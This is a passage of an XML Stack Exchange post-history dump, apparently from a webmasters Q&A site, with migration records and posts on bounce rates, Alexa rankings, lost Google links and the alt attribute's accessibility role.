  <row Id="15758" PostHistoryTypeId="17" PostId="5971" RevisionGUID="59f3d1e0-4d2e-4516-817b-e4cf4b00dc7b" CreationDate="2010-11-26T17:59:07.713" Comment="from http://stackoverflow.com/questions/4286902/how-to-take-back-our-domain-name/4286931#4286931" Text="" />
  <row Id="15759" PostHistoryTypeId="17" PostId="5981" RevisionGUID="adefb4c9-6441-4e55-86d9-d2dd398b19e6" CreationDate="2010-11-27T21:40:26.790" Comment="from http://stackoverflow.com/questions/4293617/seo-html-for-plain-html-css-website/4293834#4293834" Text="" />
  <row Id="15760" PostHistoryTypeId="17" PostId="6043" RevisionGUID="6ef0be19-bbfa-46b0-a254-b55af6cfe620" CreationDate="2010-11-29T16:54:35.370" Comment="from http://webapps.stackexchange.com/questions/9762/how-do-i-backup-my-customers-data/9766#9766" Text="" />
  <row Id="15761" PostHistoryTypeId="17" PostId="6123" RevisionGUID="77fda2ae-3360-41e2-ba63-35928f96d941" CreationDate="2010-12-01T01:43:53.413" Comment="from http://stackoverflow.com/questions/4319360/how-to-decrease-webpage-bouncing-rate/4319390#4319390" Text="" />
  <row Id="15762" PostHistoryTypeId="17" PostId="6133" RevisionGUID="32bfe02f-b395-405d-aa01-02a5a563509a" CreationDate="2010-12-01T07:20:09.353" Comment="from http://stackoverflow.com/questions/4306797/what-is-the-simplest-online-payment-gateway-other-than-paypal/4306824#4306824" Text="" />
  <row Id="15763" PostHistoryTypeId="17" PostId="6134" RevisionGUID="e1243d03-3bf2-48ba-8719-a367bf462b6d" CreationDate="2010-12-01T07:20:09.353" Comment="from http://stackoverflow.com/questions/4306797/what-is-the-simplest-online-payment-gateway-other-than-paypal/4306892#4306892" Text="" />
  <row Id="15764" PostHistoryTypeId="17" PostId="6135" RevisionGUID="b6e4d6b8-ad59-4a23-aada-224eda5af997" CreationDate="2010-12-01T07:20:09.353" Comment="from http://stackoverflow.com/questions/4306797/what-is-the-simplest-online-payment-gateway-other-than-paypal/4306923#4306923" Text="" />
  <row Id="15765" PostHistoryTypeId="17" PostId="6196" RevisionGUID="986c59ae-e0c5-4a46-9fd0-400ffe8dd744" CreationDate="2010-12-02T15:20:35.830" Comment="from http://stackoverflow.com/questions/4336461/is-it-important-to-have-semantically-correct-html-with-regards-to-seo/4336477#4336477" Text="" />
  <row Id="15766" PostHistoryTypeId="17" PostId="6197" RevisionGUID="de6b3cc0-1392-4c6f-962a-4cabd09e94ec" CreationDate="2010-12-02T15:20:35.830" Comment="from http://stackoverflow.com/questions/4336461/is-it-important-to-have-semantically-correct-html-with-regards-to-seo/4336487#4336487" Text="" />
  <row Id="15767" PostHistoryTypeId="17" PostId="6198" RevisionGUID="bc69d192-9de5-41ef-bbaf-dc983e611f11" CreationDate="2010-12-02T15:20:35.830" Comment="from http://stackoverflow.com/questions/4336461/is-it-important-to-have-semantically-correct-html-with-regards-to-seo/4336510#4336510" Text="" />
  <row Id="15768" PostHistoryTypeId="17" PostId="6204" RevisionGUID="c59ac6e7-936c-4dd2-9afa-aa6f3d295765" CreationDate="2010-12-02T16:44:14.690" Comment="from http://webapps.stackexchange.com/questions/9922/free-asp-net-ms-access-support-webhosting/9923#9923" Text="" />
  <row Id="15769" PostHistoryTypeId="17" PostId="6228" RevisionGUID="5362d8da-1d1c-406f-b6c0-228a0ce8f149" CreationDate="2010-12-03T07:43:08.913" Comment="from http://stackoverflow.com/questions/4331756/seo-architecture-for-multiple-related-websites/4338331#4338331" Text="" />
  <row Id="15770" PostHistoryTypeId="17" PostId="6252" RevisionGUID="adb1f1d2-39c8-4fec-922f-fdcba48ca037" CreationDate="2010-12-03T14:13:43.143" Comment="from http://stackoverflow.com/questions/4339665/portfolio-blog-hosting/4339690#4339690" Text="" />
  <row Id="15771" PostHistoryTypeId="17" PostId="6253" RevisionGUID="bf3278ed-79ac-4d31-8f46-f7a4d012ea73" CreationDate="2010-12-03T14:13:43.143" Comment="from http://stackoverflow.com/questions/4339665/portfolio-blog-hosting/4339772#4339772" Text="" />
  <row Id="15772" PostHistoryTypeId="17" PostId="6258" RevisionGUID="18abf6b4-32f2-4c95-8072-8acfefeb136d" CreationDate="2010-12-03T15:23:07.553" Comment="from http://stackoverflow.com/questions/4346691/hacked-by-our-own-hosting-company/4346711#4346711" Text="" />
  <row Id="15773" PostHistoryTypeId="17" PostId="6259" RevisionGUID="10c46f2d-f33c-4a69-984e-bdeb942409d7" CreationDate="2010-12-03T15:23:07.553" Comment="from http://stackoverflow.com/questions/4346691/hacked-by-our-own-hosting-company/4346726#4346726" Text="" />
  <row Id="15774" PostHistoryTypeId="17" PostId="6260" RevisionGUID="5ca18503-728b-473a-87ef-92dde1554587" CreationDate="2010-12-03T15:23:07.553" Comment="from http://stackoverflow.com/questions/4346691/hacked-by-our-own-hosting-company/4346763#4346763" Text="" />
  <row Id="15775" PostHistoryTypeId="17" PostId="6261" RevisionGUID="7eccc2db-1ea4-458b-93b9-7220f3b6c09e" CreationDate="2010-12-03T15:23:07.553" Comment="from http://stackoverflow.com/questions/4346691/hacked-by-our-own-hosting-company/4346793#4346793" Text="" />
  <row Id="15776" PostHistoryTypeId="17" PostId="6311" RevisionGUID="9c340d13-ebfe-43cf-afff-2d59d51035ea" CreationDate="2010-12-04T20:27:16.507" Comment="from http://stackoverflow.com/questions/4354956/simple-free-web-hosting-to-place-my-web-page/4354991#4354991" Text="" />
  <row Id="15777" PostHistoryTypeId="17" PostId="6327" RevisionGUID="a0f2ff51-d08f-4110-a886-ffa7903aaf74" CreationDate="2010-12-05T06:46:36.093" Comment="from http://stackoverflow.com/questions/4357705/domain-name-purchasing/4357710#4357710" Text="" />
  <row Id="15778" PostHistoryTypeId="17" PostId="6328" RevisionGUID="e6cbc13b-6b68-4e15-91d4-d3d12e6f1ce8" CreationDate="2010-12-05T06:46:36.093" Comment="from http://stackoverflow.com/questions/4357705/domain-name-purchasing/4357721#4357721" Text="" />
  <row Id="15779" PostHistoryTypeId="17" PostId="6331" RevisionGUID="44af1916-8179-44bf-b0bd-f0bd9de8293d" CreationDate="2010-12-05T10:08:43.673" Comment="from http://stackoverflow.com/questions/4358255/how-do-i-add-a-favicon-to-my-website/4358264#4358264" Text="" />
  <row Id="15780" PostHistoryTypeId="17" PostId="6332" RevisionGUID="cbd9dcf5-c0de-42da-b440-558991268b95" CreationDate="2010-12-05T10:08:43.673" Comment="from http://stackoverflow.com/questions/4358255/how-do-i-add-a-favicon-to-my-website/4358267#4358267" Text="" />
  <row Id="15781" PostHistoryTypeId="17" PostId="6460" RevisionGUID="4f8f913b-d903-4748-9d19-f90ff2b13e31" CreationDate="2010-12-08T06:23:05.557" Comment="from http://stackoverflow.com/questions/4384673/how-will-google-treat-http-yoursite-com-pagea-1-and-http-yoursite-com-page/4384694#4384694" Text="" />
  <row Id="15784" PostHistoryTypeId="17" PostId="6505" RevisionGUID="eef2ff10-d1c7-479f-a70c-f60025afce21" CreationDate="2010-12-09T05:44:09.493" Comment="from http://stackoverflow.com/questions/4395229/google-chrome-displays-the-wrong-favicon-that-ive-linked-to-in-my-html/4395243#4395243" Text="" />
  <row Id="15785" PostHistoryTypeId="17" PostId="6562" RevisionGUID="e615f641-e00d-4f12-9770-022774df3b2c" CreationDate="2010-12-10T08:49:02.800" Comment="from http://serverfault.com/questions/211045/trouble-with-my-website-and-ie7/211202#211202" Text="" />
  <row Id="15788" PostHistoryTypeId="17" PostId="6601" RevisionGUID="1db2c265-0da9-477f-af64-c25c2a4c0711" CreationDate="2010-12-10T23:58:47.743" Comment="from http://stackoverflow.com/questions/4414125/if-i-have-a-page-rank-of-5-and-i-get-alot-of-backlinks-from-sites-with-pr-1-wil/4414289#4414289" Text="" />
  <row Id="15789" PostHistoryTypeId="17" PostId="6603" RevisionGUID="c976ac98-270c-4ebe-8287-b10ebcfe88b2" CreationDate="2010-12-11T00:24:55.717" Comment="from http://stackoverflow.com/questions/4414053/alexa-and-compete/4414098#4414098" Text="" />
  <row Id="15790" PostHistoryTypeId="17" PostId="6624" RevisionGUID="641f681c-e4e2-4bd4-96f5-829ee5a66fdb" CreationDate="2010-12-12T03:36:33.630" Comment="from http://stackoverflow.com/questions/4420260/how-big-sites-scale-up-and-optimize-to-massive-traffic/4420267#4420267" Text="" />
  <row Id="15791" PostHistoryTypeId="17" PostId="6644" RevisionGUID="3f6e5991-5a43-4d49-8171-cafefd18bb09" CreationDate="2010-12-12T22:38:28.327" Comment="from http://stackoverflow.com/questions/4424462/how-do-i-buy-this-domain-name/4424495#4424495" Text="" />
  <row Id="15792" PostHistoryTypeId="17" PostId="6761" RevisionGUID="46f3a7a0-489f-4b20-9235-5c1398f3d418" CreationDate="2010-12-15T16:02:19.700" Comment="from http://stackoverflow.com/questions/4438879/do-i-need-an-ssl-certificate-for-a-site-allowing-users-to-make-donations-online/4438913#4438913" Text="" />
  <row Id="15793" PostHistoryTypeId="17" PostId="6762" RevisionGUID="9527767c-6cd9-4bfa-a85c-843ac83898ef" CreationDate="2010-12-15T16:02:19.700" Comment="from http://stackoverflow.com/questions/4438879/do-i-need-an-ssl-certificate-for-a-site-allowing-users-to-make-donations-online/4441362#4441362" Text="" />
  <row Id="15794" PostHistoryTypeId="17" PostId="6763" RevisionGUID="6f94b1da-03f6-444a-bb7d-adebd2921b77" CreationDate="2010-12-15T16:02:19.700" Comment="from http://stackoverflow.com/questions/4438879/do-i-need-an-ssl-certificate-for-a-site-allowing-users-to-make-donations-online/4448728#4448728" Text="" />
  <row Id="15802" PostHistoryTypeId="17" PostId="6888" RevisionGUID="b2065f1a-37d3-4940-81c0-7b2136b75449" CreationDate="2010-12-19T22:17:37.320" Comment="from http://webapps.stackexchange.com/questions/94/what-sort-of-shared-hosting-can-i-run-a-jira-installation-on/112#112" Text="" />
  <row Id="15803" PostHistoryTypeId="17" PostId="6889" RevisionGUID="2e6783c6-1bab-4efd-8bf3-508298778bb1" CreationDate="2010-12-19T22:17:37.320" Comment="from http://webapps.stackexchange.com/questions/94/what-sort-of-shared-hosting-can-i-run-a-jira-installation-on/10479#10479" Text="" />
  <row Id="15804" PostHistoryTypeId="17" PostId="6891" RevisionGUID="38c4203d-ff43-4d30-890b-aff97ac3abe0" CreationDate="2010-12-19T23:27:50.090" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo/4485483#4485483" Text="" />
  <row Id="15805" PostHistoryTypeId="17" PostId="6892" RevisionGUID="641e5945-bbb9-4f56-a0fe-57a0d2d0e059" CreationDate="2010-12-19T23:27:50.090" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo/4485484#4485484" Text="" />
  <row Id="15806" PostHistoryTypeId="17" PostId="6893" RevisionGUID="0f59cf9f-3c03-4057-b3b2-25e57015abbf" CreationDate="2010-12-19T23:27:50.090" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo/4485485#4485485" Text="" />
  <row Id="15807" PostHistoryTypeId="17" PostId="6894" RevisionGUID="f3926de8-203e-4788-a3f0-98b9491c0cdf" CreationDate="2010-12-19T23:27:50.090" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo/4485491#4485491" Text="" />
  <row Id="15808" PostHistoryTypeId="17" PostId="6895" RevisionGUID="36cbe839-09ec-432b-b41b-4d69637373fd" CreationDate="2010-12-19T23:27:50.090" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo/4485493#4485493" Text="" />
  <row Id="15809" PostHistoryTypeId="17" PostId="6896" RevisionGUID="1338ee7c-67f2-4473-a96f-3f521af71604" CreationDate="2010-12-19T23:27:50.090" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo/4485497#4485497" Text="" />
  <row Id="15810" PostHistoryTypeId="17" PostId="6897" RevisionGUID="6a0e6366-c7ce-4719-b864-c0ce9e65a558" CreationDate="2010-12-19T23:27:50.090" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo/4485688#4485688" Text="" />
  <row Id="15811" PostHistoryTypeId="17" PostId="6899" RevisionGUID="e51345da-bd35-4883-9a3c-0a1fa4f7ae75" CreationDate="2010-12-19T23:31:41.880" Comment="from http://stackoverflow.com/questions/4485709/how-to-keep-a-visitor-100-anonymous/4485718#4485718" Text="" />
  <row Id="15812" PostHistoryTypeId="17" PostId="6900" RevisionGUID="5ec4da34-1abc-47ed-946f-e490b6d02240" CreationDate="2010-12-19T23:31:41.880" Comment="from http://stackoverflow.com/questions/4485709/how-to-keep-a-visitor-100-anonymous/4485720#4485720" Text="" />
  <row Id="15813" PostHistoryTypeId="17" PostId="6939" RevisionGUID="36125380-d81f-44f1-9358-a6dc9a5e2e21" CreationDate="2010-12-21T00:54:22.333" Comment="from http://stackoverflow.com/questions/4495320/hosting-plans-that-allow-more-then-1-gb-for-mysql-and-easier-mod-rewrites/4495344#4495344" Text="" />
  <row Id="15814" PostHistoryTypeId="17" PostId="6940" RevisionGUID="5a6ef3d3-2649-4ef7-af46-a55a97f9869d" CreationDate="2010-12-21T00:54:22.333" Comment="from http://stackoverflow.com/questions/4495320/hosting-plans-that-allow-more-then-1-gb-for-mysql-and-easier-mod-rewrites/4495352#4495352" Text="" />
  <row Id="15815" PostHistoryTypeId="17" PostId="6952" RevisionGUID="4d908e64-bab8-456c-8799-bc5d4d4dcb9c" CreationDate="2010-12-21T09:02:24.370" Comment="from http://webapps.stackexchange.com/questions/10193/what-is-the-recommended-way-to-handle-opening-attachments-from-a-webpage/10194#10194" Text="" />
  <row Id="15816" PostHistoryTypeId="17" PostId="6974" RevisionGUID="d35e8ae0-95e5-4272-aa73-52d50060fc3a" CreationDate="2010-12-21T18:18:30.453" Comment="from http://stackoverflow.com/questions/4502488/what-are-average-advertising-banner-widths/4502514#4502514" Text="" />
  <row Id="15817" PostHistoryTypeId="17" PostId="6975" RevisionGUID="98817e34-6537-4f57-83a0-a98f01ce2c97" CreationDate="2010-12-21T18:18:30.453" Comment="from http://stackoverflow.com/questions/4502488/what-are-average-advertising-banner-widths/4502537#4502537" Text="" />
  <row Id="15818" PostHistoryTypeId="17" PostId="6984" RevisionGUID="9a62559a-5b41-45c7-b5fc-f3e4d709f165" CreationDate="2010-12-21T18:38:06.580" Comment="from http://stackoverflow.com/questions/4502561/suggestions-of-internet-forum-software/4502655#4502655" Text="" />
  <row Id="15819" PostHistoryTypeId="17" PostId="7082" RevisionGUID="02c7d8a6-4c4b-478d-aa6d-b7cbcad40c5e" CreationDate="2010-12-24T19:18:04.110" Comment="from http://stackoverflow.com/questions/4527860/what-do-you-think/4527871#4527871" Text="" />
  <row Id="15820" PostHistoryTypeId="17" PostId="7101" RevisionGUID="b6056ee7-43cb-4839-a059-6ae02aae53a8" CreationDate="2010-12-26T03:46:31.537" Comment="from http://stackoverflow.com/questions/4530970/is-the-w3-standard-a-major-factor-when-google-decides-serp-position/4531014#4531014" Text="" />
  <row Id="15821" PostHistoryTypeId="17" PostId="7102" RevisionGUID="0fdcbe82-cff0-4f68-b3cf-a8013914d425" CreationDate="2010-12-26T03:46:31.537" Comment="from http://stackoverflow.com/questions/4530970/is-the-w3-standard-a-major-factor-when-google-decides-serp-position/4531038#4531038" Text="" />
  <row Id="15822" PostHistoryTypeId="17" PostId="7103" RevisionGUID="58aaa86a-da74-492a-92a6-45de7d15ed46" CreationDate="2010-12-26T03:46:31.537" Comment="from http://stackoverflow.com/questions/4530970/is-the-w3-standard-a-major-factor-when-google-decides-serp-position/4531058#4531058" Text="" />
  <row Id="15823" PostHistoryTypeId="17" PostId="7104" RevisionGUID="c3ba7ac2-7a22-4002-ad9f-7e43cce5a105" CreationDate="2010-12-26T03:46:31.537" Comment="from http://stackoverflow.com/questions/4530970/is-the-w3-standard-a-major-factor-when-google-decides-serp-position/4531188#4531188" Text="" />
  <row Id="15824" PostHistoryTypeId="17" PostId="7105" RevisionGUID="e5370e77-3176-4cf9-ae86-0f7e40c45527" CreationDate="2010-12-26T03:46:31.537" Comment="from http://stackoverflow.com/questions/4530970/is-the-w3-standard-a-major-factor-when-google-decides-serp-position/4531242#4531242" Text="" />
  <row Id="15825" PostHistoryTypeId="17" PostId="7115" RevisionGUID="f9efaa3c-37b9-4ca9-873d-1f9c8f35d1ef" CreationDate="2010-12-26T21:28:31.713" Comment="from http://stackoverflow.com/questions/4533939/how-to-avoid-click-here-links/4533964#4533964" Text="" />
  <row Id="15826" PostHistoryTypeId="17" PostId="7116" RevisionGUID="4be5d716-2f87-478b-b698-3f54395d899a" CreationDate="2010-12-26T21:28:31.713" Comment="from http://stackoverflow.com/questions/4533939/how-to-avoid-click-here-links/4533969#4533969" Text="" />
  <row Id="15827" PostHistoryTypeId="17" PostId="7117" RevisionGUID="e0b4093a-e422-481e-a355-471c0b0e04c2" CreationDate="2010-12-26T21:28:31.713" Comment="from http://stackoverflow.com/questions/4533939/how-to-avoid-click-here-links/4533992#4533992" Text="" />
  <row Id="15828" PostHistoryTypeId="17" PostId="7119" RevisionGUID="ea659570-3be5-4495-b4c0-2334896e4624" CreationDate="2010-12-26T21:32:51.907" Comment="from http://stackoverflow.com/questions/4534587/best-way-to-have-both-http-and-https-communication-in-a-web-application/4534606#4534606" Text="" />
  <row Id="15829" PostHistoryTypeId="17" PostId="7120" RevisionGUID="cd9f5120-17bf-41fc-b842-1788676e6dc7" CreationDate="2010-12-26T21:32:51.907" Comment="from http://stackoverflow.com/questions/4534587/best-way-to-have-both-http-and-https-communication-in-a-web-application/4534670#4534670" Text="" />
  <row Id="15830" PostHistoryTypeId="17" PostId="7126" RevisionGUID="7293e70e-0c0f-447d-8457-41e17f774724" CreationDate="2010-12-27T07:00:06.597" Comment="from http://superuser.com/questions/225911/security-considerations-for-my-first-estore/225912#225912" Text="" />
  <row Id="15831" PostHistoryTypeId="17" PostId="7169" RevisionGUID="5063f65d-f367-48ec-bcce-82f800037520" CreationDate="2010-12-28T22:17:31.253" Comment="from http://stackoverflow.com/questions/4549481/html-extension-or-no-for-seo-purposes/4549620#4549620" Text="" />
  <row Id="15832" PostHistoryTypeId="17" PostId="7194" RevisionGUID="1fd0faee-84f2-474e-90f1-0be40681177f" CreationDate="2010-12-29T21:03:46.150" Comment="from http://stackoverflow.com/questions/4543138/drupal-6-to-drupal-7-upgrade-tips/4543248#4543248" Text="" />
  <row Id="15833" PostHistoryTypeId="17" PostId="7195" RevisionGUID="5ce0e912-0937-462c-8578-f9752c0170d6" CreationDate="2010-12-29T21:03:46.150" Comment="from http://stackoverflow.com/questions/4543138/drupal-6-to-drupal-7-upgrade-tips/4543330#4543330" Text="" />
  <row Id="15834" PostHistoryTypeId="17" PostId="7196" RevisionGUID="9d72fb39-289d-4189-b3a5-0cf2a7e15b66" CreationDate="2010-12-29T21:03:46.150" Comment="from http://stackoverflow.com/questions/4543138/drupal-6-to-drupal-7-upgrade-tips/4550166#4550166" Text="" />
  <row Id="15835" PostHistoryTypeId="17" PostId="7240" RevisionGUID="d8722df7-b8a7-4a2b-9e4b-35106c2bcbf2" CreationDate="2010-12-31T17:09:18.303" Comment="from http://stackoverflow.com/questions/4566261/phantom-activity-on-mysql/4566757#4566757" Text="" />
  <row Id="15836" PostHistoryTypeId="17" PostId="7250" RevisionGUID="e7283fb3-6d68-4be1-aa50-d8f22ad9827b" CreationDate="2011-01-01T02:44:53.600" Comment="from http://stackoverflow.com/questions/4563133/introduce-best-sites-for-getting-templates-based-on-html-and-css-only/4563169#4563169" Text="" />
  <row Id="15838" PostHistoryTypeId="17" PostId="7277" RevisionGUID="b0d93c20-2204-4f9d-b0b4-32eef7e18013" CreationDate="2011-01-02T11:55:55.303" Comment="from http://stackoverflow.com/questions/4578194/what-design-tips-would-you-give-any-designer-to-make-the-website-popular-and-memo/4578226#4578226" Text="" />
  <row Id="15839" PostHistoryTypeId="17" PostId="7278" RevisionGUID="93a4e80e-42b7-4d11-8798-e6753417e410" CreationDate="2011-01-02T11:55:55.303" Comment="from http://stackoverflow.com/questions/4578194/what-design-tips-would-you-give-any-designer-to-make-the-website-popular-and-memo/4578241#4578241" Text="" />
  <row Id="15840" PostHistoryTypeId="17" PostId="7485" RevisionGUID="ff958ab3-70f1-4670-82b3-0bb3e38683a1" CreationDate="2011-01-08T11:42:59.533" UserId="-1" Comment="from http://stackoverflow.com/questions/4583582/bounce-rate-and-alexa-ranking-clarifications/4583662#4583662" Text="" />
  <row Id="15841" PostHistoryTypeId="2" PostId="7485" RevisionGUID="a5885bce-b52e-4604-bbcc-81099b6df117" CreationDate="2011-01-03T10:23:20.707" UserDisplayName="JP19" Text="1) No. It still means 30000 visits generated 86000 pageviews. Bounce rate means how many visits were single pageviews. In your case, the numbers mean &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`30000*56% = 16800` visits were single pageviews &#xD;&#xA;&#xD;&#xA;and hence&#xD;&#xA;&#xD;&#xA;`30000*44% = 13200` visits resulted in 86000-16800= 69200 pageviews.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) Alexa rankings are relative. Overall worldwide internet pageviews are increasing day by day. So your pageviews could remain constant (or even increase) and still your ranking could drop.&#xD;&#xA;" />
  <row Id="15842" PostHistoryTypeId="2" PostId="7484" RevisionGUID="3d52dc6a-0c96-40ff-9c0a-03df80ed8232" CreationDate="2011-01-03T10:07:29.317" UserId="4392" Text="30000 visits with 86000 pageviews, if there is a bounce rate of 54%, then does it means&#xD;&#xA;only 15000 users generated the 86000 page views or 30000 visits generated the 86000 page views.&#xD;&#xA;&#xD;&#xA;My website is [redacted]&#xD;&#xA;&#xD;&#xA;Even though i have got 86000 page views, my site alexa ranking is still reducing day by day.&#xD;&#xA;can any one suggest how to control that?&#xD;&#xA;" />
  <row Id="15843" PostHistoryTypeId="1" PostId="7484" RevisionGUID="3d52dc6a-0c96-40ff-9c0a-03df80ed8232" CreationDate="2011-01-03T10:07:29.317" UserId="4392" Text="bounce rate and Alexa ranking clarifications" />
  <row Id="15844" PostHistoryTypeId="3" PostId="7484" RevisionGUID="3d52dc6a-0c96-40ff-9c0a-03df80ed8232" CreationDate="2011-01-03T10:07:29.317" UserId="4392" Text="&lt;google&gt;&lt;seo&gt;&lt;google-analytics&gt;" />
  <row Id="15845" PostHistoryTypeId="17" PostId="7484" RevisionGUID="1601ae31-eed3-4df5-919b-523c0b580bc3" CreationDate="2011-01-08T11:42:59.533" UserId="-1" Comment="from http://stackoverflow.com/questions/4583582/bounce-rate-and-alexa-ranking-clarifications" Text="" />
  <row Id="15846" PostHistoryTypeId="2" PostId="7486" RevisionGUID="ffcc1b39-1af0-4406-a74e-9dfb58e2f359" CreationDate="2011-01-08T12:54:50.330" UserId="4463" Text="I suggest you change your hosting... Joomla files already exceed 9000+ and with adding new extensions and files it will be hard to keep removing files like that" />
  <row Id="15847" PostHistoryTypeId="2" PostId="7487" RevisionGUID="2b494b0d-6d89-4a54-8374-7d1d04a6aae2" CreationDate="2011-01-08T13:16:49.830" UserId="4329" Text="I recently did a complete redesign of my site.  As soon as Google picked up the changes (I could tell because the excerpt in the search results was brought up to date), I noticed that my traffic slowed by about 30%.&#xD;&#xA;&#xD;&#xA;I started to investigate, ran a link: query on my site and saw only two links there.  I know there are many more links to my site, mostly from reputable sources like magazines and large blogs.  Why aren't these links showing up anymore?  There's nothing even remotely spammy about my site, so I don't see why there would be weirdness going on.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15848" PostHistoryTypeId="1" PostId="7487" RevisionGUID="2b494b0d-6d89-4a54-8374-7d1d04a6aae2" CreationDate="2011-01-08T13:16:49.830" UserId="4329" Text="Why did my Google links disappear after a redesign?" />
  <row Id="15849" PostHistoryTypeId="3" PostId="7487" RevisionGUID="2b494b0d-6d89-4a54-8374-7d1d04a6aae2" CreationDate="2011-01-08T13:16:49.830" UserId="4329" Text="&lt;google&gt;&lt;links&gt;&lt;sitelinks&gt;" />
  <row Id="15850" PostHistoryTypeId="5" PostId="7487" RevisionGUID="ecddaa06-3de1-452b-98b1-1f51c790fac1" CreationDate="2011-01-08T13:41:06.667" UserId="4329" Comment="added 2 characters in body" Text="I recently did a complete redesign of my site.  As soon as Google picked up the changes (I could tell because the excerpt in the search results was brought up to date), I noticed that my traffic slowed by about 30%.&#xD;&#xA;&#xD;&#xA;I started to investigate, ran a &quot;link:&quot; query on my site and saw only two links there.  I know there are many more links to my site, mostly from reputable sources like magazines and large blogs.  Why aren't these links showing up anymore?  There's nothing even remotely spammy about my site, so I don't see why there would be weirdness going on.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15851" PostHistoryTypeId="17" PostId="7489" RevisionGUID="df286aea-a094-402a-85d4-cd5b8cbe2130" CreationDate="2011-01-08T14:22:10.270" UserId="-1" Comment="from http://stackoverflow.com/questions/4604642/space-in-imgs-alt-attribute-good-bad-for-search-engines/4604670#4604670" Text="" />
  <row Id="15852" PostHistoryTypeId="17" PostId="7490" RevisionGUID="4a42dd59-423c-49ab-bf0a-3dbfa848fd42" CreationDate="2011-01-08T14:22:10.270" UserId="-1" Comment="from http://stackoverflow.com/questions/4604642/space-in-imgs-alt-attribute-good-bad-for-search-engines/4604677#4604677" Text="" />
  <row Id="15853" PostHistoryTypeId="17" PostId="7491" RevisionGUID="12d5548f-d6d3-40ce-bacb-de5d7e6d2832" CreationDate="2011-01-08T14:22:10.270" UserId="-1" Comment="from http://stackoverflow.com/questions/4604642/space-in-imgs-alt-attribute-good-bad-for-search-engines/4604679#4604679" Text="" />
  <row Id="15854" PostHistoryTypeId="17" PostId="7492" RevisionGUID="f336b710-07cd-43d7-950a-0a5a4b5e8712" CreationDate="2011-01-08T14:22:10.270" UserId="-1" Comment="from http://stackoverflow.com/questions/4604642/space-in-imgs-alt-attribute-good-bad-for-search-engines/4604699#4604699" Text="" />
  <row Id="15855" PostHistoryTypeId="17" PostId="7493" RevisionGUID="0f8f5386-25c5-4b6b-a317-84d06c69fd19" CreationDate="2011-01-08T14:22:10.270" UserId="-1" Comment="from http://stackoverflow.com/questions/4604642/space-in-imgs-alt-attribute-good-bad-for-search-engines/4604712#4604712" Text="" />
  <row Id="15856" PostHistoryTypeId="17" PostId="7494" RevisionGUID="0030f5d3-abb2-404e-9617-079d570918cf" CreationDate="2011-01-08T14:22:10.270" UserId="-1" Comment="from http://stackoverflow.com/questions/4604642/space-in-imgs-alt-attribute-good-bad-for-search-engines/4604714#4604714" Text="" />
  <row Id="15857" PostHistoryTypeId="2" PostId="7489" RevisionGUID="b81977c2-a533-4241-b202-b62db88cf6c0" CreationDate="2011-01-05T13:42:13.160" UserDisplayName="Mchl" Text="alt is not for search engines. alt is for text-to-speech browsers." />
  <row Id="15858" PostHistoryTypeId="2" PostId="7490" RevisionGUID="b5014cf8-c94f-4b8a-8e56-1aa19fd31d6a" CreationDate="2011-01-05T13:42:54.403" UserDisplayName="Oded" Text="You _should_ use spaces, as screen readers will not be able to understand the tag otherwise.&#xD;&#xA;&#xD;&#xA;Most modern browsers also use these as &quot;tool tips&quot; when hovering over images (if a `title` attribute is missing) - so, even on this count you should use proper grammar.&#xD;&#xA;&#xD;&#xA;In general `alt` is an alternative representation of the image, mostly in case the image can't be seen (if it is missing, text based browser, a network error when retrieving the image or any other reason)." />
  <row Id="15859" PostHistoryTypeId="2" PostId="7491" RevisionGUID="ff1e46bd-8259-4cf9-931f-e6171287f17a" CreationDate="2011-01-05T13:43:06.190" UserDisplayName="mlms13" Text="The `alt` attribute is required, and it should be human readable text.  It's not intended for search engines; it's for people who use screen-readers to browse the Web (i.e., blind or otherwise visually impaired people) or people who turn off images for other reasons (i.e., to speed up page loading).  So spaces are a good idea.&#xD;&#xA;&#xD;&#xA;Edit:  To answer your &quot;PS,&quot; search engines won't dock points specifically for using Javascript, but if most of your page is `display: none` and you use JavaScript to un-hide it, search engines will probably ignore those sections.  If search engines determine that you're trying to load keywords into hidden sections (or transparent links?), [they might block your site completely.][1] To over-simplify things a bit, you can think of web crawlers as blind visitors with no Javascript.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66353" />
  <row Id="15860" PostHistoryTypeId="2" PostId="7492" RevisionGUID="f07d061f-ef3b-412f-ba99-c2af670a3cc4" CreationDate="2011-01-05T13:44:55.893" UserDisplayName="Gordon" Text="I have no clue if using the alt attribute will benefit SEO. Last time I checked, most on-site optimizations added only very little to it, compared to outside linkage. I guess it also depends on the algorithm used by the respective search engine you are asking.&#xD;&#xA;&#xD;&#xA;However, using the alt tag is a priority 1 item in the &#xD;&#xA;&#xD;&#xA;- [HTML Techniques for Web Content Accessibility Guidelines 1.0][1]&#xD;&#xA;&#xD;&#xA;&gt; Provide a text equivalent for every non-text element (e.g., via &quot;alt&quot;, &quot;longdesc&quot;, or in element content). This includes: images, graphical representations of text (including symbols), image map regions, animations (e.g., animated GIFs), applets and programmatic objects, ASCII art, frames, scripts, images used as list bullets, spacers, graphical buttons, sounds (played with or without user interaction), stand-alone audio files, audio tracks of video, and video. [Priority 1] &#xD;&#xA;&#xD;&#xA;and still applies in [WCAG 2.0.][2], too.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In addition, the alt attribute is [a required attribute in HTML4][3] and defined as&#xD;&#xA;&#xD;&#xA;&gt; alt = text [CS]  &#xD;&#xA;&gt;    For user agents that cannot display images, forms, or applets, this attribute specifies alternate text. The language of the alternate text is specified by the lang attribute.  &#xD;&#xA;&gt;&#xD;&#xA;&gt; Several non-textual elements (IMG, AREA, APPLET, and INPUT) let authors specify alternate text to serve as content when the element cannot be rendered normally. Specifying alternate text assists users without graphic display terminals, users whose browsers don't support forms, visually impaired users, those who use speech synthesizers, those who have configured their graphical user agents not to display images, etc.  